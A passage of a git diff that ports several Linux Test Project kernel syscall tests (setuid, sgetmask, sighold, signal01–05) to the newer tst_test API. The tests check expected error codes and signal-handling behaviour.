2009-2022 */ -/* DESCRIPTION +/*\ + * [Description] + * * This test will switch to nobody user for correct error code collection. * Verify setuid returns errno EPERM when it switches to root_user. */ @@ -19,16 +22,7 @@ static void verify_setuid(void) { - TEST(SETUID(ROOT_USER)); - if (TST_RET != -1) { - tst_res(TFAIL | TTERRNO, "setuid() succeeded unexpectedly"); - return; - } - - if (TST_ERR == EPERM) - tst_res(TPASS, "setuid() returned errno EPERM"); - else - tst_res(TFAIL | TTERRNO, "setuid() returned unexpected errno"); + TST_EXP_FAIL(SETUID(ROOT_USER), EPERM); } static void setup(void) @@ -39,10 +33,7 @@ static void setup(void) pw = SAFE_GETPWNAM("nobody"); uid = pw->pw_uid; - if (SETUID(uid) == -1) { - tst_brk(TBROK, - "setuid() failed to set the effective uid to %d", uid); - } + SAFE_SETUID(uid); umask(0); } diff --git a/testcases/kernel/syscalls/sgetmask/sgetmask01.c b/testcases/kernel/syscalls/sgetmask/sgetmask01.c index 2b482f38..afd40912 100755 --- a/testcases/kernel/syscalls/sgetmask/sgetmask01.c +++ b/testcases/kernel/syscalls/sgetmask/sgetmask01.c @@ -125,11 +125,11 @@ int main(int ac, char **av) for (testno = 0; testno < TST_TOTAL; ++testno) { for (sig = -3; sig <= SIGRTMAX + 1; sig++) { - TEST(ltp_syscall(__NR_ssetmask, sig)); + TEST(tst_syscall(__NR_ssetmask, sig)); tst_resm(TINFO, "Setting signal : %d -- " "return of setmask : %ld", sig, TEST_RETURN); - TEST(ltp_syscall(__NR_sgetmask)); + TEST(tst_syscall(__NR_sgetmask)); if (TEST_RETURN != sig) { tst_resm(TINFO, "Oops,setting sig %d, got %ld", diff --git a/testcases/kernel/syscalls/sighold/sighold02.c b/testcases/kernel/syscalls/sighold/sighold02.c index b763142d..1cfb7688 100755 --- a/testcases/kernel/syscalls/sighold/sighold02.c +++ b/testcases/kernel/syscalls/sighold/sighold02.c @@ -1,80 +1,39 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. * AUTHOR : Bob Clark * CO-PILOT : Barrie Kletscher * DATE STARTED : 9/26/86 * Copyright (C) 2015 Cyril Hrubis - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ + * Copyright (C) 2021 SUSE LLC Andrea Cervesato */ -/* - * TEST ITEMS - * 1. sighold action to turn off the receipt of all signals was done - * without error. + +/*\ + * [Description] + * + * This test checks following conditions: + * 1. sighold action to turn off the receipt of all signals was done without error. * 2. After signals were held, and sent, no signals were trapped. */ -#define _XOPEN_SOURCE 500 -#include + +#define _XOPEN_SOURCE 600 #include -#include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" -#include "lapi/signal.h" - -/* _XOPEN_SOURCE disables NSIG */ +#include "tst_test.h" + #ifndef NSIG -# define NSIG _NSIG +# define NSIG _NSIG #endif -/* ensure NUMSIGS is defined */ #ifndef NUMSIGS -# define NUMSIGS NSIG +# define NUMSIGS NSIG #endif -char *TCID = "sighold02"; -int TST_TOTAL = 2; - -static int pid; -static void do_child(void); -static void setup(void); -static void cleanup(void); - static int sigs_catched; static int sigs_map[NUMSIGS]; static int skip_sig(int sig) { - if (sig >= __SIGRTMIN && sig < SIGRTMIN) + if (sig >= 32 && sig < SIGRTMIN) return 1; switch (sig) { @@ -88,115 +47,70 @@ static int skip_sig(int sig) } } -int main(int ac, char **av) -{ - int sig; - int lc; - - tst_parse_opts(ac, av, NULL, NULL); - -#ifdef UCLINUX - maybe_run_child(&do_child, ""); -#endif - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - if ((pid = FORK_OR_VFORK()) < 0) { - tst_brkm(TBROK | TERRNO, NULL, "fork() failed"); - } else if (pid > 0) { - TST_SAFE_CHECKPOINT_WAIT(NULL, 0); - - for (sig = 1; sig < NUMSIGS; sig++) { - if (skip_sig(sig)) - continue; - SAFE_KILL(NULL, pid, sig); - } - - TST_SAFE_CHECKPOINT_WAKE(NULL, 0); - tst_record_childstatus(cleanup, pid); - } else { - -#ifdef UCLINUX - if (self_exec(av[0], "") < 0) { - tst_brkm(TBROK | TERRNO, NULL, - "self_exec() failed"); - } -#else - do_child(); -#endif - } - } - - cleanup(); - tst_exit(); -} - static void handle_sigs(int sig) { sigs_map[sig] = 1; sigs_catched++; } -void do_child(void) +static void do_child(void) { - int cnt; int sig; - /* set up signal handler routine */ for (sig = 1; sig < NUMSIGS; sig++) { if (skip_sig(sig)) continue; - if (signal(sig, handle_sigs) == SIG_ERR) { - tst_resm(TBROK | TERRNO, "signal() %i(%s) failed", - sig, tst_strsig(sig)); - } + SAFE_SIGNAL(sig, handle_sigs); } - /* all set up to catch signals, now hold them */ - for (cnt = 0, sig = 1; sig < NUMSIGS; sig++) { + for (sig = 1; sig < NUMSIGS; sig++) { if (skip_sig(sig)) continue; - cnt++; - TEST(sighold(sig)); - if (TEST_RETURN != 0) { - tst_resm(TBROK | TTERRNO, "sighold() %i(%s) failed", - sig, tst_strsig(sig)); - } + + if (sighold(sig)) + tst_brk(TBROK | TERRNO, "sighold(%s %i)", tst_strsig(sig), sig); } - TST_SAFE_CHECKPOINT_WAKE_AND_WAIT(NULL, 0); + TST_CHECKPOINT_WAKE_AND_WAIT(0); if (!sigs_catched) { - tst_resm(TPASS, "All signals were hold"); - tst_exit(); + tst_res(TPASS, "all signals were hold"); + return; } - tst_resm(TFAIL, "Signal handler was executed"); + tst_res(TFAIL, "signal handler was executed"); - for (sig = 1; sig < NUMSIGS; sig++) { - if (sigs_map[sig]) { - tst_resm(TINFO, "Signal %i(%s) catched", - sig, tst_strsig(sig)); - } - } - - tst_exit(); + for (sig = 1; sig < NUMSIGS; sig++) + if (sigs_map[sig]) + tst_res(TINFO, "Signal %i(%s) catched", sig, tst_strsig(sig)); } -static void setup(void) +static void run(void) { - tst_sig(FORK, DEF_HANDLER, NULL); + pid_t pid_child; + int signal; - tst_tmpdir(); + pid_child = SAFE_FORK(); + if (!pid_child) { + do_child(); + return; + } - TST_CHECKPOINT_INIT(tst_rmdir); + TST_CHECKPOINT_WAIT(0); - TEST_PAUSE; -} + for (signal = 1; signal < NUMSIGS; signal++) { + if (skip_sig(signal)) + continue; -static void cleanup(void) -{ - tst_rmdir(); + SAFE_KILL(pid_child, signal); + } + + TST_CHECKPOINT_WAKE(0); } + +static struct tst_test test = { + .test_all = run, + .forks_child = 1, + .needs_checkpoints = 1, +}; diff --git a/testcases/kernel/syscalls/signal/signal01.c b/testcases/kernel/syscalls/signal/signal01.c index d99e35cb..27766159 100755 --- a/testcases/kernel/syscalls/signal/signal01.c +++ b/testcases/kernel/syscalls/signal/signal01.c @@ -1,67 +1,33 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * AUTHOR : Dave Baumgartner - * : Rewrote 12/92 by Richard Logan - * CO-PILOT : Barrie Kletscher - * DATE STARTED : 10/17/85 * Copyright (C) 2015 Cyril Hrubis - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * + * AUTHOR : Dave Baumgartner + * CO-PILOT : Barrie Kletscher */ -/* - * TEST ITEMS + +/*\ + * [Description] * - * 1. SIGKILL can not be set to be caught, errno:EINVAL (POSIX). - * 2. SIGKILL can not be caught. - * 3. SIGKILL can not be set to be ignored, errno:EINVAL (POSIX). + * Test SIGKILL for these items: + * 1. SIGKILL can not be set to be ignored, errno:EINVAL (POSIX). + * 2. SIGKILL can not be reset to default, errno:EINVAL (POSIX). + * 3. SIGKILL can not be set to be caught, errno:EINVAL (POSIX). * 4. SIGKILL can not be ignored. - * 5. SIGKILL can not be reset to default, errno:EINVAL (POSIX). + * 5. SIGKILL is reset to default failed but processed by default. + * 6. SIGKILL can not be caught. */ -#include -#include -#include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" +#include +#include "tst_test.h" -static void setup(void); -static void do_test(int tc); -static void do_child(void); -static void catchsig(int sig); +static void catchsig(int sig) +{ + (void)sig; +} static struct tcase { - void (*sighandler)(int); + void (*sighandler)(int i); int kill; } tcases[] = { {SIG_IGN, 0}, @@ -72,122 +38,42 @@ static struct tcase { {catchsig, 1}, }; -char *TCID = "signal01"; -int TST_TOTAL = ARRAY_SIZE(tcases); - -static int tcase; - -int main(int argc, char *argv[]) -{ - int lc, i; - - tst_parse_opts(argc, argv, NULL, NULL); - -#ifdef UCLINUX - maybe_run_child(&do_child, "d", &tcase); -#endif - - setup(); - - for (lc = 0; TEST_LOOPING(lc); lc++) { - for (i = 0; i < TST_TOTAL; i++) - do_test(i); - } - - tst_exit(); -} - -static void do_test(int tc) +static void do_test(unsigned int n) { pid_t pid; int res; - pid = FORK_OR_VFORK(); - - switch (pid) { - case 0: -#ifdef UCLINUX - if (self_exec(argv0, "d", tc) < 0) - tst_brkm(TBROK | TERRNO, NULL, "self_exec() failed"); -#else - tcase = tc; - do_child(); -#endif - break; - case -1: - tst_resm(TBROK | TERRNO, "fork() failed"); - break; - default: - if (tcases[tc].kill) { - TST_PROCESS_STATE_WAIT(NULL, pid, 'S'); - SAFE_KILL(NULL, pid, SIGKILL); + struct tcase *tc = &tcases[n]; - SAFE_WAITPID(NULL, pid, &res, 0); + pid = SAFE_FORK(); - if (WIFSIGNALED(res)) { - if (WTERMSIG(res) == SIGKILL) { - tst_resm(TPASS, "Child killed with SIGKILL"); - } else { - tst_resm(TFAIL, "Child killed with %s", - tst_strsig(WTERMSIG(res))); - } - } else { - tst_resm(TFAIL, "Child not killed by signal"); - } - } else { - tst_record_childstatus(NULL, pid); + if (!pid) { + if (tc->kill) { + signal(SIGKILL, tc->sighandler); + pause(); } - break; - } -} - -static void catchsig(int sig) -{ - (void)sig; -} -static const char *strhandler(void *sighandler) -{ - switch ((long)sighandler) { - case (long)SIG_DFL: - return "SIG_DFL"; - case (long)SIG_IGN: - return "SIG_IGN"; - default: - return "catchsig()"; + TST_EXP_FAIL2((long)signal(SIGKILL, tc->sighandler), EINVAL); + return; } -} - -static void do_child(void) -{ - void *ret; - void (*sighandler)(int) = tcases[tcase].sighandler; - - ret = signal(SIGKILL, sighandler); - - if (tcases[tcase].kill) - pause(); - if (ret == SIG_ERR || errno == EINVAL) { - tst_resm(TPASS, "signal(SIGKILL, %p(%s)) failed with EINVAL", - sighandler, strhandler(sighandler)); - } else { - if (ret != SIG_ERR) { - tst_resm(TFAIL, "signal(SIGKILL, %p(%s)) didn't fail", - sighandler, strhandler(sighandler)); - } else { - tst_resm(TFAIL | TERRNO, - "signal(SIGKILL, %p(%s)) should fail with EINVAL", - sighandler, strhandler(sighandler)); - } + if (!tc->kill) { + SAFE_WAITPID(pid, &res, 0); + return; } - tst_exit(); -} - -static void setup(void) -{ - tst_sig(FORK, DEF_HANDLER, NULL); + TST_PROCESS_STATE_WAIT(pid, 'S', 0); + SAFE_KILL(pid, SIGKILL); + SAFE_WAITPID(pid, &res, 0); - TEST_PAUSE; + if (WIFSIGNALED(res)) + TST_EXP_EQ_SSZ(WTERMSIG(res), SIGKILL); + else + tst_res(TFAIL, "Child not killed by signal"); } + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(tcases), + .forks_child = 1, + .test = do_test, +}; diff --git a/testcases/kernel/syscalls/signal/signal02.c b/testcases/kernel/syscalls/signal/signal02.c index 8eb95b52..54948646 100755 --- a/testcases/kernel/syscalls/signal/signal02.c +++ b/testcases/kernel/syscalls/signal/signal02.c @@ -1,142 +1,24 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 */ -/* - * NAME - * signal02.c - * - * DESCRIPTION - * signal02 - Test that we get an error using illegal signals - * - * ALGORITHM - * loop if that option was specified - * issue the system call - * check the return value - * if return value != -1 - * issue a FAIL message, break remaining tests and cleanup - * if we get an EINVAL - * issue a PASS message - * else - * issue a FAIL message, break remaining tests and cleanup - * call cleanup - * - * USAGE: - * signal02 [-c n] [-e] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on error logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * History - * 07/2001 John George - * -Ported +/*\ + * [Description] * - * Restrictions - * none + * Test that we get an error using illegal signals. */ -#include "test.h" - -#include -#include - -void cleanup(void); -void setup(void); - -char *TCID = "signal02"; -int TST_TOTAL = 3; - -typedef void (*sighandler_t) (int); - -sighandler_t Tret; -int sigs[] = { _NSIG + 1, SIGKILL, SIGSTOP }; - -int main(int ac, char **av) -{ - int lc; - int i; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); /* global setup */ +#include "tst_test.h" - /* The following loop checks looping state if -i option given */ +static int sigs[] = { _NSIG + 1, SIGKILL, SIGSTOP }; - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; - - /* - * There are three cases where we should get an EINVAL - */ - for (i = 0; i < TST_TOTAL; i++) { - - errno = 0; - Tret = signal(sigs[i], SIG_IGN); - TEST_ERRNO = errno; - - if (Tret != SIG_ERR) { - tst_brkm(TFAIL, cleanup, "%s call failed - " - "errno = %d : %s", TCID, TEST_ERRNO, - strerror(TEST_ERRNO)); - } - - switch (TEST_ERRNO) { - case EINVAL: - tst_resm(TPASS, "expected failure - errno = " - "%d - %s", TEST_ERRNO, - strerror(TEST_ERRNO)); - break; - default: - tst_resm(TFAIL, "call failed to produce " - "expected error - errno = %d " - "- %s", TEST_ERRNO, - strerror(TEST_ERRNO)); - } - } - tst_count++; /* incr. TEST_LOOP counter */ - } - - cleanup(); - - tst_exit(); - -} - -/* - * setup() - performs all the ONE TIME setup for this test. - */ -void setup(void) +static void do_test(unsigned int n) { - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + TST_EXP_FAIL2((long)signal(sigs[n], SIG_IGN), EINVAL); } -/* - * cleanup() - performs all the ONE TIME cleanup for this test at completion - * or premature exit. - */ -void cleanup(void) -{ - -} +static struct tst_test test = { + .tcnt = ARRAY_SIZE(sigs), + .test = do_test, +}; diff --git a/testcases/kernel/syscalls/signal/signal03.c b/testcases/kernel/syscalls/signal/signal03.c index 7975c770..8118af4b 100755 --- a/testcases/kernel/syscalls/signal/signal03.c +++ b/testcases/kernel/syscalls/signal/signal03.c @@ -1,70 +1,17 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA */ -/* - * NAME - * signal03.c +/*\ + * [Description] * - * DESCRIPTION - * signal03 - set signals to be ignored - * - * ALGORITHM - * loop if that option was specified - * issue the system call - * check the return value - * if return value == -1 - * issue a FAIL message, break remaining tests and cleanup - * if we are doing functional testing - * send the signal with kill() - * if we catch the signal - * issue a FAIL message - * else - * issue a PASS message - * call cleanup - * - * USAGE: - * signal01 [-c n] [-f] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * History - * 07/2001 John George - * -Ported - * - * Restrictions - * none + * Set signals to be ignored. */ -#include "test.h" - -#include -#include +#include "tst_test.h" -void cleanup(void); -void setup(void); -void sighandler(int); - -int siglist[] = { SIGHUP, SIGINT, SIGQUIT, SIGILL, SIGTRAP, SIGABRT, SIGIOT, +static int siglist[] = { SIGHUP, SIGINT, SIGQUIT, SIGILL, SIGTRAP, SIGABRT, SIGIOT, SIGBUS, SIGFPE, SIGUSR1, SIGSEGV, SIGUSR2, SIGPIPE, SIGALRM, SIGTERM, #ifdef SIGSTKFLT @@ -78,97 +25,27 @@ int siglist[] = { SIGHUP, SIGINT, SIGQUIT, SIGILL, SIGTRAP, SIGABRT, SIGIOT, #endif }; -char *TCID = "signal03"; -int TST_TOTAL = ARRAY_SIZE(siglist); - -typedef void (*sighandler_t) (int); - -sighandler_t Tret; - -int fail = 0; - -int main(int ac, char **av) -{ - int lc; - pid_t pid; - int i, rval; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); /* global setup */ - - /* The following loop checks looping state if -i option given */ +static volatile int ign_handler; - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; - - /* - * loop through the list of signals and test each one - */ - for (i = 0; i < TST_TOTAL; i++) { - - errno = 0; - Tret = signal(siglist[i], SIG_IGN); - TEST_ERRNO = errno; - - if (Tret == SIG_ERR) { - tst_brkm(TFAIL, cleanup, "%s call failed - " - "errno = %d : %s", TCID, - TEST_ERRNO, strerror(TEST_ERRNO)); - } - - /* - * Send the signal. If the signal is truly set - * to be ignored, then the signal handler will - * never be invoked and the test will pass. - */ - pid = getpid(); - - if ((rval = kill(pid, siglist[i])) != 0) { - tst_brkm(TBROK, cleanup, "call to " - "kill failed"); - } - - if (fail == 0) { - tst_resm(TPASS, "%s call succeeded", - TCID); - } else { - /* the signal was caught so we fail */ - tst_resm(TFAIL, "signal caught when " - "suppose to be ignored"); - } - } - } - - cleanup(); - tst_exit(); -} - -/* - * sighandler() - the test fails if we ever get here. - */ -void sighandler(int sig LTP_ATTRIBUTE_UNUSED) +static void sighandler(int sig LTP_ATTRIBUTE_UNUSED) { - fail = 1; + ign_handler = 1; } -/* - * setup() - performs all the ONE TIME setup for this test. - */ -void setup(void) +static void do_test(unsigned int n) { - /* capture signals in our own handler */ - tst_sig(NOFORK, sighandler, cleanup); + pid_t pid; - TEST_PAUSE; -} + SAFE_SIGNAL(siglist[n], sighandler); + SAFE_SIGNAL(siglist[n], SIG_IGN); -/* - * cleanup() - performs all the ONE TIME cleanup for this test at completion - * or premature exit. - */ -void cleanup(void) -{ + pid = getpid(); + SAFE_KILL(pid, siglist[n]); + TST_EXP_EQ_SSZ(ign_handler, 0); } + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(siglist), + .test = do_test, +}; diff --git a/testcases/kernel/syscalls/signal/signal04.c b/testcases/kernel/syscalls/signal/signal04.c index 5a18fa60..27826ad4 100755 --- a/testcases/kernel/syscalls/signal/signal04.c +++ b/testcases/kernel/syscalls/signal/signal04.c @@ -1,181 +1,49 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 */ -/* - * NAME - * signal04.c - * - * DESCRIPTION - * signal04 - restore signals to default behavior +/*\ + * [Description] * - * ALGORITHM - * loop if that option was specified - * for each signal in siglist[] - * set the signal handler to our own and save the return value - * issue the signal system call to restore the default behavior - * check the return value - * if return value == -1 - * issue a FAIL message, break remaining tests and cleanup - * if we are doing functional testing - * set the signal handler to our own again and save second return value - * if the first return value matches the second return value - * issue a PASS message - * else - * issue a FAIL message - * call cleanup - * - * USAGE: - * signal04 [-c n] [-f] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * History - * 07/2001 John George - * -Ported - * - * Restrictions - * none + * Restore signals to default behavior. */ -#include "test.h" - -#include -#include - -void cleanup(void); -void setup(void); -void sighandler(int); +#include "signal.h" +#include "tst_test.h" -char *TCID = "signal04"; - -int siglist[] = { SIGHUP, SIGINT, SIGQUIT, SIGILL, SIGTRAP, SIGABRT, +static int siglist[] = { SIGHUP, SIGINT, SIGQUIT, SIGILL, SIGTRAP, SIGABRT, SIGBUS, SIGFPE, SIGUSR1, SIGSEGV, SIGUSR2, SIGPIPE, SIGALRM, SIGTERM, SIGCHLD, SIGCONT, SIGTSTP, SIGTTIN, SIGTTOU, SIGURG, SIGXCPU, SIGXFSZ, SIGVTALRM, SIGPROF, SIGWINCH, SIGIO, SIGPWR, SIGSYS }; -int TST_TOTAL = sizeof(siglist) / sizeof(int); - -typedef void (*sighandler_t) (int); - -sighandler_t Tret; +static void sighandler(int sig LTP_ATTRIBUTE_UNUSED) +{ +} -int main(int ac, char **av) +static void do_test(unsigned int n) { - int lc; - int i; sighandler_t rval, first; - tst_parse_opts(ac, av, NULL, NULL); - - setup(); /* global setup */ - - /* The following loop checks looping state if -i option given */ - - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; - - /* - * loop through the list of signals and test each one - */ - for (i = 0; i < TST_TOTAL; i++) { - - /* First reset the signal to the default - action to clear out any pre-test - execution settings */ - signal(siglist[i], SIG_DFL); - - /* then set the handler to our own handler */ - if ((rval = signal(siglist[i], &sighandler)) == SIG_ERR) { - tst_brkm(TBROK, cleanup, "initial signal call" - " failed"); - } + SAFE_SIGNAL(siglist[n], SIG_DFL); + first = SAFE_SIGNAL(siglist[n], sighandler); - /* store the return value */ - first = rval; + SAFE_SIGNAL(siglist[n], SIG_DFL); + rval = SAFE_SIGNAL(siglist[n], sighandler); - /* restore the default signal action */ - errno = 0; - Tret = signal(siglist[i], SIG_DFL); - TEST_ERRNO = errno; - - if (Tret == SIG_ERR) { - tst_brkm(TFAIL, cleanup, "%s call failed - " - "errno = %d : %s", TCID, TEST_ERRNO, - strerror(TEST_ERRNO)); - } - - /* now set the handler back to our own */ - if ((rval = signal(siglist[i], &sighandler)) - == SIG_ERR) { - tst_brkm(TBROK, cleanup, "initial " - "signal call failed"); - } - - /* - * the first return value should equal the - * second one. - */ - if (rval == first) { - tst_resm(TPASS, "%s call succeeded " - "received %p.", TCID, rval); - } else { - tst_brkm(TFAIL, cleanup, "return " - "values for signal(%d) don't " - "match. Got %p, expected %p.", - siglist[i], rval, first); - } - } + if (rval == first) { + tst_res(TPASS, "signal(%d) restore succeeded " + "received %p.", siglist[n], rval); + } else { + tst_res(TFAIL, "return values for signal(%d) don't match. " + "Got %p, expected %p.", + siglist[n], rval, first); } - - cleanup(); - tst_exit(); - -} - -/* - * sighandler() - handle the signals - */ -void sighandler(int sig LTP_ATTRIBUTE_UNUSED) -{ -} - -/* - * setup() - performs all the ONE TIME setup for this test. - */ -void setup(void) -{ - - TEST_PAUSE; } -/* - * cleanup() - performs all the ONE TIME cleanup for this test at completion - * or premature exit. - */ -void cleanup(void) -{ - -} +static struct tst_test test = { + .tcnt = ARRAY_SIZE(siglist), + .test = do_test, +}; diff --git a/testcases/kernel/syscalls/signal/signal05.c b/testcases/kernel/syscalls/signal/signal05.c index 2a289416..f3480f0a 100755 --- a/testcases/kernel/syscalls/signal/signal05.c +++ b/testcases/kernel/syscalls/signal/signal05.c @@ -1,70 +1,17 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * - * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * Copyright (c) International Business Machines Corp., 2001 */ -/* - * NAME - * signal05.c +/*\ + * [Description] * - * DESCRIPTION - * signal05 - set the signal handler to our own function - * - * ALGORITHM - * loop if that option was specified - * issue the system call - * check the return value - * if return value == -1 - * issue a FAIL message, break remaining tests and cleanup - * if we are doing functional testing - * send the signal with kill() - * if we catch the signal in the signal handler - * issue a PASS message - * else - * issue a FAIL message - * call cleanup - * - * USAGE: - * signal05 [-c n] [-f] [-i n] [-I x] [-p x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * History - * 07/2001 John George - * -Ported - * - * Restrictions - * none + * Set the signal handler to our own function. */ -#include "test.h" - -#include -#include +#include "tst_test.h" -void cleanup(void); -void setup(void); -void sighandler(int); - -int siglist[] = { SIGHUP, SIGINT, SIGQUIT, SIGILL, SIGTRAP, SIGABRT, SIGIOT, +static int siglist[] = { SIGHUP, SIGINT, SIGQUIT, SIGILL, SIGTRAP, SIGABRT, SIGIOT, SIGBUS, SIGFPE, SIGUSR1, SIGSEGV, SIGUSR2, SIGPIPE, SIGALRM, SIGTERM, #ifdef SIGSTKFLT @@ -78,94 +25,26 @@ int siglist[] = { SIGHUP, SIGINT, SIGQUIT, SIGILL, SIGTRAP, SIGABRT, SIGIOT, #endif }; -char *TCID = "signal05"; -int TST_TOTAL = ARRAY_SIZE(siglist); - -typedef void (*sighandler_t) (int); - -sighandler_t Tret; +static volatile int sig_pass; -int pass = 0; - -int main(int ac, char **av) +static void sighandler(int sig) { - int lc; - pid_t pid; - int i, rval; - - tst_parse_opts(ac, av, NULL, NULL); - - setup(); /* global setup */ - - /* The following loop checks looping state if -i option given */ - - for (lc = 0; TEST_LOOPING(lc); lc++) { - /* reset tst_count in case we are looping */ - tst_count = 0; - - /* - * loop through the list of signals and test each one - */ - for (i = 0; i < TST_TOTAL; i++) { - - errno = 0; - Tret = signal(siglist[i], &sighandler); - TEST_ERRNO = errno; - - if (Tret == SIG_ERR) { - tst_resm(TFAIL, "%s call failed - errno = %d " - ": %s", TCID, TEST_ERRNO, - strerror(TEST_ERRNO)); - continue; - } - - /* - * Send the signals and make sure they are - * handled in our handler. - */ - pid = getpid(); - - if ((rval = kill(pid, siglist[i])) != 0) { - tst_brkm(TBROK, cleanup, - "call to kill failed"); - } - - if (siglist[i] == pass) { - tst_resm(TPASS, - "%s call succeeded", TCID); - } else { - tst_resm(TFAIL, - "received unexpected signal"); - } - } - } - - cleanup(); - tst_exit(); + sig_pass = sig; } -/* - * sighandler() - handle the signals - */ -void sighandler(int sig) +static void do_test(unsigned int n) { - /* set the global pass variable = sig */ - pass = sig; -} + pid_t pid; -/* - * setup() - performs all the ONE TIME setup for this test. - */ -void setup(void) -{ - TEST_PAUSE; -} + SAFE_SIGNAL(siglist[n], sighandler); -/* - * cleanup() - performs all the ONE TIME cleanup for this test at completion - * or premature exit. - */ -void cleanup(void) -{ + pid = getpid(); + SAFE_KILL(pid, siglist[n]); + TST_EXP_EQ_SSZ(siglist[n], sig_pass); } + +static struct tst_test test = { + .tcnt = ARRAY_SIZE(siglist), + .test = do_test, +}; diff --git 